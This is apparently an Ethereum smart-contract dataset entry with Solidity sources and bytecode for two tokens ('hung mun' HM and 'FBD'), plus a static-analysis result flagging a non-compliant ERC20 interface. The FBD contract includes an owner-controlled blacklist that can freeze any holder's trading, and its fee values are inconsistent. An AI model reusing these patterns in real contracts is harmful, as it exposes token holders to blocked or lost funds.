balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { require(_to != 0x0); uint _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already revert() if this condition is not met // if (_value > _allowance) revert(); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev revert()s if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { if (paused) revert(); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { if (!paused) revert(); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /** * Pausable token * * Simple ERC20 Token example, with pausable token creation **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) whenNotPaused { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused { super.transferFrom(_from, _to, _value); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a time has passed */ contract TokenTimelock { // ERC20 basic token contract being held ERC20Basic token; // beneficiary of tokens after they are released address beneficiary; // timestamp where token release is enabled uint releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint _releaseTime) { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @dev beneficiary claims tokens held by time lock */ function claim() { require(msg.sender == beneficiary); require(now >= releaseTime); uint amount = token.balanceOf(this); require(amount > 0); token.transfer(beneficiary, amount); } } /** * @title hung mun Token * @dev hung mun Token contract */ contract HMToken is PausableToken { using SafeMath for uint256; function () { //if ether is sent to this address, send it back. revert(); } string public name = "hung mun"; string public symbol = "HM"; uint8 public decimals = 18; uint public totalSupply = 1000000000000000000000000000; event TimeLock(address indexed to, uint value, uint time); event Burn(address indexed burner, uint256 value); function HMToken() { balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * @dev transfer timelocked tokens */ function transferTimelocked(address _to, uint256 _amount, uint256 _releaseTime) onlyOwner whenNotPaused returns (TokenTimelock) { require(_to != 0x0); TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime); transfer(timelock,_amount); emit TimeLock(_to, _amount,_releaseTime); return timelock; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner whenNotPaused { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f8578063095ea7b31461018857806318160ddd146101d557806323b872dd14610200578063313ce5671461026d5780633f4ba83a1461029e57806342966c68146102cd5780635c975abb146102fa57806370a08231146103295780638456cb59146103805780638da5cb5b146103af57806395d89b4114610406578063a9059cbb14610496578063c48a66e0146104e3578063dd62ed3e1461057a578063f2fde38b146105f1575b3480156100f257600080fd5b50600080fd5b34801561010457600080fd5b5061010d610634565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d2565b005b3480156101e157600080fd5b506101ea610854565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085a565b005b34801561027957600080fd5b50610282610884565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102aa57600080fd5b506102b3610897565b604051808215151515815260200191505060405180910390f35b3480156102d957600080fd5b506102f86004803603810190808035906020019092919050505061095e565b005b34801561030657600080fd5b5061030f6109e1565b604051808215151515815260200191505060405180910390f35b34801561033557600080fd5b5061036a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561038c57600080fd5b50610395610a3c565b604051808215151515815260200191505060405180910390f35b3480156103bb57600080fd5b506103c4610b02565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041257600080fd5b5061041b610b28565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045b578082015181840152602081019050610440565b50505050905090810190601f1680156104885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a257600080fd5b506104e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc6565b005b3480156104ef57600080fd5b50610538600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610bee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058657600080fd5b506105db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d92565b6040518082815260200191505060405180910390f35b3480156105fd57600080fd5b50610632600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e19565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106ca5780601f1061069f576101008083540402835291602001916106ca565b820191906000526020600020905b8154815290600101906020018083116106ad57829003601f168201915b505050505081565b6000811415801561076057506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561076a57600080fd5b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b60065481565b600260149054906101000a900460ff161561087457600080fd5b61087f838383610ef0565b505050565b600560009054906101000a900460ff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108f557600080fd5b600260149054906101000a900460ff16151561091057600080fd5b6000600260146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109ba57600080fd5b600260149054906101000a900460ff16156109d457600080fd5b6109de33826111e2565b50565b600260149054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9a57600080fd5b600260149054906101000a900460ff1615610ab457600080fd5b6001600260146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bbe5780601f10610b9357610100808354040283529160200191610bbe565b820191906000526020600020905b815481529060010190602001808311610ba157829003601f168201915b505050505081565b600260149054906101000a900460ff1615610be057600080fd5b610bea8282611395565b5050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4d57600080fd5b600260149054906101000a900460ff1615610c6757600080fd5b60008573ffffffffffffffffffffffffffffffffffffffff1614151515610c8d57600080fd5b308584610c986115c1565b808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051809103906000f080158015610d24573d6000803e3d6000fd5b509050610d318185610bc6565b8473ffffffffffffffffffffffffffffffffffffffff167f1e9485fd0bd679716375520cad7dadd2beb8f80d23e81293182eabdc94d1812d8585604051808381526020018281526020019250505060405180910390a2809150509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610eed5780600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60006060610f0860048261157190919063ffffffff16565b60003690501015610f1857600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff1614151515610f3e57600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915061100e836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a1836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159990919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f6838361159990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561122f57600080fd5b611280816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d78160065461159990919063ffffffff16565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60406113ab60048261157190919063ffffffff16565b600036905010156113bb57600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff16141515156113e157600080fd5b611432826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b6000818301905061159083821015801561158b5750828210155b6115b2565b80905092915050565b60006115a7838311156115b2565b818303905092915050565b8015156115be57600080fd5b50565b6040516103f0806115d2833901905600608060405234801561001057600080fd5b506040516060806103f0833981018060405281019080805190602001909291908051906020019092919080519060200190929190505050428111151561005557600080fd5b826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600281905550505050610301806100ef6000396000f300608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680634e71d92d14610046575b600080fd5b34801561005257600080fd5b5061005b61005d565b005b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156100bb57600080fd5b60025442101515156100cc57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561018857600080fd5b505af115801561019c573d6000803e3d6000fd5b505050506040513d60208110156101b257600080fd5b810190808051906020019092919050505090506000811115156101d457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156102ba57600080fd5b505af11580156102ce573d6000803e3d6000fd5b50505050505600a165627a7a723058201d562de6e19f41e7a87cba0a85a9be2cf2647248201872ebd0d58016948f66810029a165627a7a7230582032ba35d6c66dc87570d27096f295c4ea5a53141ff634f0432ea2c9daa6155e040029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,803
0xe4469e03c63fbf9c727d023aab967de825f80918
/** *Submitted for verification at Etherscan.io on 2021-08-29 * FBD_T.me/FBDtoken /* */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FBD is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FBD_T.me/FBDtoken"; string private constant _symbol = "FBD"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 500000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 4; uint256 private _teamFee = 4; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 5; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ed8565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129fb565b61045e565b6040516101789190612ebd565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061307a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129ac565b61048c565b6040516101e09190612ebd565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061291e565b610565565b005b34801561021e57600080fd5b50610227610655565b60405161023491906130ef565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a78565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061291e565b610782565b6040516102b1919061307a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612def565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612ed8565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129fb565b61098c565b60405161035b9190612ebd565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a37565b6109aa565b005b34801561039957600080fd5b506103a2610afa565b005b3480156103b057600080fd5b506103b9610b74565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612aca565b6110cf565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612970565b611217565b604051610418919061307a565b60405180910390f35b60606040518060400160405280601181526020017f4642445f542e6d652f464244746f6b656e000000000000000000000000000000815250905090565b600061047261046b61129e565b84846112a6565b6001905092915050565b60006706f05b59d3b20000905090565b6000610499848484611471565b6105